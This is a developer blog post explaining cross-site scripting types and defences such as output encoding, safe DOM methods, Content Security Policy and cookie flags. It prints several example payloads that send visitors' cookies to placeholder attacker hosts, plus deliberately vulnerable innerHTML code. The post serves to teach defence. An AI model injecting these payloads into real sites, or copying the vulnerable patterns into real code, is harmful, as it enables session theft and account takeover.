DEV Community

Sam Leung
Sam Leung

Posted on

Understanding XSS (Cross-Site Scripting): How Attackers Inject Code Into Your Website

Web applications frequently handle user-generated input. When this input is not processed securely, an attacker may insert executable code that runs in other users' browsers. This vulnerability is known as Cross-Site Scripting (XSS).

This blog explains what XSS is, how it functions, its primary types, and technical approaches for mitigation.

 

Table of Contents

  1. What is Cross-Site Scripting (XSS)
  2. How XSS Works
  3. Types of XSS
  4. What Attackers Can Do with XSS
  5. Prevention Methods
  6. Summary
  7. References

 

1. What is Cross Site Scripting (XSS)

Cross-Site Scripting (XSS) is a web application security flaw that allows attackers to inject client-side scripts into web pages that other users view. When successful, the code runs right inside someone's browser, pretending to be part of the legitimate website. Because the browser trusts the site, it also trusts the attacker's code, that's when the trouble starts.

When exploited, an attacker can:

  • Steal session cookies or authentication tokens
  • Impersonate another user
  • Display fake messages or phishing prompts
  • Redirect users to malicious sites

Example:
Imagine a comment section that doesn't properly filter user input.
An attacker posts something like:

Great post! <script>document.location='https://malicious.example.com/stealcookie?c='+document.cookie</script>
Enter fullscreen mode Exit fullscreen mode

If the website just displays this comment as-is, every visitor who views it will unknowingly run that script in their browser. Their cookie data - basically their login proof, gets sent straight to the attacker's site.

 

2. How XSS Works

Cross-Site Scripting (XSS) occurs when a web application accepts untrusted input and embeds it into a web page without applying proper escaping or validation. As a result, the browser interprets the input as executable code instead of plain text.

This vulnerability enables attackers to inject client-side scripts that execute in the context of a trusted website.

Process overview:

  1. An attacker submits a payload containing executable code through a web form, message, or URL parameter
  2. The web application reflects or stores this input and includes it in the page's response
  3. When a user loads the affected page, the browser executes the injected script as part of the website

Example: Comment Submission Vulnerability

Consider a web application that allows users to submit comments:

<form action="/comment" method="POST">
  <input type="text" name="username" placeholder="Your name" />
  <textarea name="comment" placeholder="Leave a comment"></textarea>
  <button type="submit">Post</button>
</form>
Enter fullscreen mode Exit fullscreen mode

A legitimate comment might be:

"Great article! Very helpful."

However, an attacker could submit the following input instead:

<script>
  fetch('https://malicious.example.com/steal?cookie=' + document.cookie);
</script>
Enter fullscreen mode Exit fullscreen mode

If the application directly displays this comment without sanitization, the output might look like:

<div class="comment">
  <strong>User:</strong> TestUser
  <p><script>fetch('https://malicious.example.com/steal?cookie=' + document.cookie);</script></p>
</div>
Enter fullscreen mode Exit fullscreen mode

In this case, when another user views the page, the browser executes the embedded script.
The script sends the viewer's cookies-possibly containing session identifiers or authentication tokens-to the attacker's external server.

 

3. Types of XSS

Cross-Site Scripting (XSS) vulnerabilities are classified into three main types, depending on where and how malicious code is injected and executed:

  • Stored XSS (Persistent XSS) - the payload is stored on the server (e.g., in a database or profile) and served to users later.
  • Reflected XSS (Non-Persistent XSS) - the payload is included in the current HTTP request and immediately reflected back in the server's response.
  • DOM-Based XSS (Client-Side XSS) - the payload is executed entirely within the client's browser by manipulating the DOM through insecure JavaScript.

 

3.1. Stored XSS (Persistent XSS)

Stored XSS, also known as Persistent XSS, arises when a server-side component stores untrusted user input (such as posts, comments, or profile information) and subsequently displays that content on a web page without proper sanitization or escaping.

When other users view the affected page, the malicious script executes in their browsers with the permissions of the vulnerable website.

This type of XSS is considered more severe than reflected or DOM-based variants because the injected code remains active until it is manually removed or sanitized.

Example Scenario

Consider a social platform that allows users to post status updates:

<form action="/post" method="POST">
  <textarea name="message" placeholder="Share something interesting..."></textarea>
  <button type="submit">Post</button>
</form>
Enter fullscreen mode Exit fullscreen mode

An attacker could submit a message containing malicious JavaScript code:

<script>
  fetch('https://attacker.example/collect?cookie=' + encodeURIComponent(document.cookie));
</script>
Enter fullscreen mode Exit fullscreen mode

If the application stores this message directly in a database and later retrieves it without sanitization, the generated page might look like this:

<div class="post">
  <strong>User:</strong> TestUser
  <p><script>
    fetch('https://attacker.example/collect?cookie=' + encodeURIComponent(document.cookie));
  </script></p>
</div>
Enter fullscreen mode Exit fullscreen mode

Whenever a user loads the page, the script runs and can perform actions such as stealing session cookies, redirecting the browser, or altering the page's content.

This payload remains active until manually removed or sanitized, making stored XSS the most dangerous variant.

Key Points

  • The payload is permanently stored on the server and runs whenever the data is displayed.
  • Affects all users who view the compromised page.
  • Common in systems with user-generated content (forums, profiles, reviews, comments).
  • Prevented through server-side sanitization, contextual output encoding, and Content Security Policy (CSP) enforcement.

 

3.2. Reflected XSS (Non-Persistent XSS)

Reflected XSS, also known as Non-Persistent XSS, occurs when malicious script code is included within a request-such as a crafted URL or form submission-and the web application immediately reflects that input back into the HTTP response without proper validation or escaping.

Unlike Stored XSS, the payload is not saved on the server. Instead, it is delivered to the victim through a specially crafted link or request.
When the victim opens the malicious link, the injected code is reflected by the vulnerable page and executed in the victim's browser.

Example Scenario

Consider a search page that takes a q parameter and directly displays it on the page without sanitizing user input:

<form action="/search" method="GET">
  <input type="text" name="q" placeholder="Search..." />
  <button type="submit">Search</button>
</form>
Enter fullscreen mode Exit fullscreen mode

A normal query URL:

https://example.com/search?q=security+tutorial
Enter fullscreen mode Exit fullscreen mode

A malicious URL crafted by an attacker:

https://example.com/search?q=<script>fetch('https://attacker.example/steal?cookie='+document.cookie)</script>
Enter fullscreen mode Exit fullscreen mode

If the response page renders that query value unsafely:

<p>Search results for: <b><script>fetch('https://attacker.example/steal?cookie='+document.cookie)</script></b></p>
Enter fullscreen mode Exit fullscreen mode

Key Points

  • Payload is transient, not stored on the server.
  • Requires user interaction (e.g., clicking a crafted link).
  • Commonly found in search, login, and error pages that reflect input.
  • Prevented through HTML/JavaScript output encoding, input validation, and CSP.

 

3.3. DOM Based XSS (Client Side XSS)

DOM-Based XSS, also known as Client-Side XSS, occurs when a web page's JavaScript code dynamically modifies the Document Object Model (DOM) using data from a user-controlled source (such as the URL, query string, or hash fragment) without proper validation or encoding.

In this type of attack, the malicious payload never touches the server. Instead, it executes entirely within the user's browser.
The vulnerability exists because client-side scripts read untrusted input and use it to write directly into the page structure (e.g., using innerHTML, document.write(), or similar methods).

Example Scenario

A web application personalizes a "welcome" message using data from the URL hash fragment:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>DOM XSS Example</title>
</head>
<body>
  <h2 id="greeting">Welcome!</h2>

  <script>
    const name = location.hash.substring(1);
    document.getElementById("greeting").innerHTML = "Welcome, " + name;
  </script>
</body>
</html>
Enter fullscreen mode Exit fullscreen mode

A normal visit:

https://example.com#TestUser
Enter fullscreen mode Exit fullscreen mode

Displays:
Welcome, TestUser

However, an attacker could send a crafted URL such as:

https://example.com#<img src=x onerror=fetch('https://malicious.example/steal?cookie='+document.cookie)>
Enter fullscreen mode Exit fullscreen mode

When the victim opens this link, the vulnerable JavaScript reads the fragment and inserts it directly into the DOM using innerHTML.
The injected script is executed on the client side, allowing theft of cookies or manipulation of page content.

Safer Implementation

const name = location.hash.substring(1);
document.getElementById("greeting").textContent = "Welcome, " + name;
Enter fullscreen mode Exit fullscreen mode

By using .textContent (or proper encoding libraries), the data is inserted as plain text rather than executable HTML, neutralizing the attack vector.

Key Points

  • Executes purely in the client environment
  • Requires no server reflection or storage
  • Common in JavaScript-driven single-page applications (SPAs)
  • Prevented by safe DOM manipulation, sanitizing dynamic data, and restrictive CSP policies

 

3.4. Difference Between the Three Methods

Attribute Stored XSS (Persistent) Reflected XSS (Non-Persistent) DOM-Based XSS (Client-Side)
Location of Vulnerability Server stores and reuses unsanitized input Server reflects unsanitized input in response Browser's JavaScript handles untrusted data insecurely
Where the Payload Resides Stored in server-side data sources (database, log, CMS) Contained in crafted links or form submissions Exists only in client-side DOM or URL fragment
When Code Executes When the affected page is viewed by any user When the victim clicks or accesses the malicious link When client-side JavaScript processes untrusted input
Server Involvement High - vulnerability in backend handling Medium - server reflects input unsafely None - vulnerability exists only in frontend code
User Interaction Required No Yes (victim must trigger request) Optional (depends on page functionality)
Common Targets Comment systems, forums, message boards Search results, error messages, login forms Dynamic SPAs, interactive client-side components
Risk Scope Affects all users of the application Affects a single targeted user Affects users executing the vulnerable JS feature
Mitigation Focus Sanitize and encode stored data before output Encode and escape reflected data in responses Validate and safely handle data in client DOM operations

 

3.5. Summary

Cross-Site Scripting (XSS) vulnerabilities exploit weaknesses in how web applications handle user-controlled input.
Although the execution mechanism varies, the ultimate goal is consistent across all types - inject malicious scripts into a trusted context to execute in the user's browser.

  • Stored XSS poses the highest risk since payloads persist on the server and affect all users viewing the content.
  • Reflected XSS relies on social engineering to make victims click malicious links that cause immediate temporary script execution.
  • DOM-Based XSS originates from insecure JavaScript practices and executes entirely on the client side without server participation.

Robust prevention requires layered defenses, including:

  • Input validation on both client and server sides.
  • Context-aware output encoding.
  • Avoiding unsafe DOM manipulation techniques.
  • Applying strict Content Security Policy (CSP) rules.
  • Employing modern frameworks or security libraries that automatically sanitize data.

Together, these strategies significantly reduce the attack surface and help maintain application integrity against XSS-based threats.

 

4. What Attackers Can Do with XSS

Once an attacker successfully exploits an XSS vulnerability, they gain the ability to execute arbitrary JavaScript in the victim's browser within the context of a trusted website.
Because the code runs as if it were part of the legitimate page, the attacker can leverage it to perform numerous malicious actions.

Potential impacts include:

  • Session Hijacking and Account Takeover:
    Access or exfiltrate authentication cookies, JSON Web Tokens (JWTs), or session identifiers to impersonate the victim.

  • User Impersonation and Unauthorized Actions:
    Perform privileged actions on behalf of authenticated users - such as transferring funds, changing passwords, or sending messages.

  • Data Exposure and Theft:
    Read sensitive information displayed on the page or pulled via AJAX, including personal data, order details, or internal messages.

  • Credential Harvesting and Phishing:
    Inject fake login forms or overlays designed to capture user credentials.

  • Website Defacement or Misleading Modifications:
    Alter displayed text, interface elements, or media content to misinform or damage reputation.

  • Command Execution or Malware Delivery:
    Redirect users to malicious sites, load external JavaScript payloads, or deliver browser exploits.

  • Network Pivoting and Exploitation:
    Use authenticated sessions to attack other services or endpoints accessible from the victim's environment.

Even a simple XSS vulnerability can have severe consequences, depending on the privileges of the victim user and the sensitivity of accessible data.

 

5. Prevention Methods

XSS prevention requires a multi-layered defense strategy, combining rigorous input handling, secure coding practices, browser-based protections, and ongoing security maintenance.
No single safeguard is sufficient on its own - effective XSS mitigation relies on consistent application of the following principles.

5.1. Escape and Sanitize Output

Always treat all user-supplied data as untrusted, and encode output properly before including it in HTML, JavaScript, or attribute contexts.
This prevents browsers from interpreting user input as executable code.

Practical Guidelines:

  • Replace or encode special characters such as <, >, ', ", and &.
  • Use context-aware escaping depending on where the data is inserted:

    • HTML encoding (for text content): Convert special characters to entities so they appear as plain text. Example: <script> -> &lt;script&gt;
    • Attribute encoding (for HTML attributes): Encode quotes and angle brackets to stop injection inside attribute values. Example: " onerror="alert(1) -> &quot; onerror=&quot;alert(1)
    • JavaScript string escaping (for dynamic script values): Escape quotes and special characters when embedding data into scripts. Example: Alice"; alert('XSS'); -> Alice\"; alert('XSS');

This ensures that user data is rendered safely as content, never executed as code.

 

5.2. Validate User Input

Ensure every input matches expected formats and reject or sanitize anything outside valid ranges.

Best practices:

  • Use whitelists instead of blacklists - specify acceptable patterns (e.g., alphanumeric, email format).
  • Enforce input length limits to reduce payload size risks
  • Validate input both client-side (for user experience) and server-side (for security enforcement)
  • Re-validate data before rendering or storage, even if it was validated previously

 

5.3. Use Safe DOM Methods

Avoid JavaScript APIs that interpret content as HTML or executable code, such as:

innerHTML
document.write()
eval()
setTimeout("code", delay)
Enter fullscreen mode Exit fullscreen mode

Instead, use secure APIs that place untrusted content as plain text or structured elements:

textContent
setAttribute
createElement
appendChild
Enter fullscreen mode Exit fullscreen mode

Example:

// Unsafe
document.getElementById("msg").innerHTML = userInput;

// Safe
document.getElementById("msg").textContent = userInput;
Enter fullscreen mode Exit fullscreen mode

 

5.4. Apply a Content Security Policy (CSP)

A Content Security Policy instructs browsers to restrict what scripts and resources can be loaded or executed.
Even if an injected script exists in the page, CSP can prevent it from executing.

Example HTTP Header:

Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'self';
Enter fullscreen mode Exit fullscreen mode

Benefits:

  • Blocks inline scripts (<script>...</script>) unless explicitly allowed.
  • Prevents loading scripts from untrusted external domains.
  • Reduces XSS impact by blocking data exfiltration via unauthorized requests.

CSP acts as a defense-in-depth measure - it complements but does not replace input sanitization and output encoding.

 

5.5. Rely on Framework Security Defaults

Modern front-end frameworks (such as React, Angular, Vue, and Svelte) implement automatic HTML escaping and virtual DOM rendering to minimize direct HTML manipulation.

Recommendations:

  • Do not disable built-in sanitization (e.g., v-html in Vue or [innerHTML] in Angular).
  • Avoid unsafe template injections or string concatenations.
  • Keep frameworks and dependencies updated to the latest security releases.

 

5.6. Protect Cookies

Prevent XSS-attacks from escalating into session hijacking by making cookies inaccessible to JavaScript and enforcing secure transmission.

Example:

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict;
Enter fullscreen mode Exit fullscreen mode

Directive explanation:

  • HttpOnly - prevents access to cookies via document.cookie
  • Secure - ensures cookies are sent only over HTTPS
  • SameSite - mitigates cross-origin request attacks

 

5.7. Regular Testing and Monitoring

Security is an iterative process. Regular reviews help identify and resolve new or overlooked vulnerabilities.

Recommended practices:

  • Conduct regular code audits and penetration tests focusing on input-handling logic
  • Use automated scanners (like OWASP ZAP or Burp Suite) to detect reflected or stored XSS points
  • Analyze CSP reports and browser security console messages for blocked resources or violations
  • Maintain an ongoing patch management process for your framework, dependencies, and build pipelines

 

6. Summary

Cross-Site Scripting (XSS) is one of the most prevalent and damaging web vulnerabilities, enabling attackers to inject and execute untrusted code in user browsers.

While the Stored, Reflected, and DOM-Based variants differ in execution paths, they share a common root cause - improper handling of untrusted input.

To effectively prevent XSS:

  1. Validate and sanitize all user inputs according to strict format and length rules.
  2. Encode or escape outputs in every appropriate context (HTML, URL, JavaScript, etc.).
  3. Use safe DOM APIs (textContent, setAttribute) instead of unsafe APIs (innerHTML, eval).
  4. Apply Content Security Policy (CSP) to restrict where scripts can run.
  5. Enable modern framework protections and avoid disabling built-in security mechanisms.
  6. Secure cookies and sessions using HttpOnly, Secure, and SameSite flags.
  7. Regularly test, audit, and monitor both backend and frontend code for new attack vectors.

By following these layered defenses, developers can significantly reduce exposure to XSS and ensure the web application maintains confidentiality, integrity, and trustworthiness for all users.

 

7. References

Top comments (0)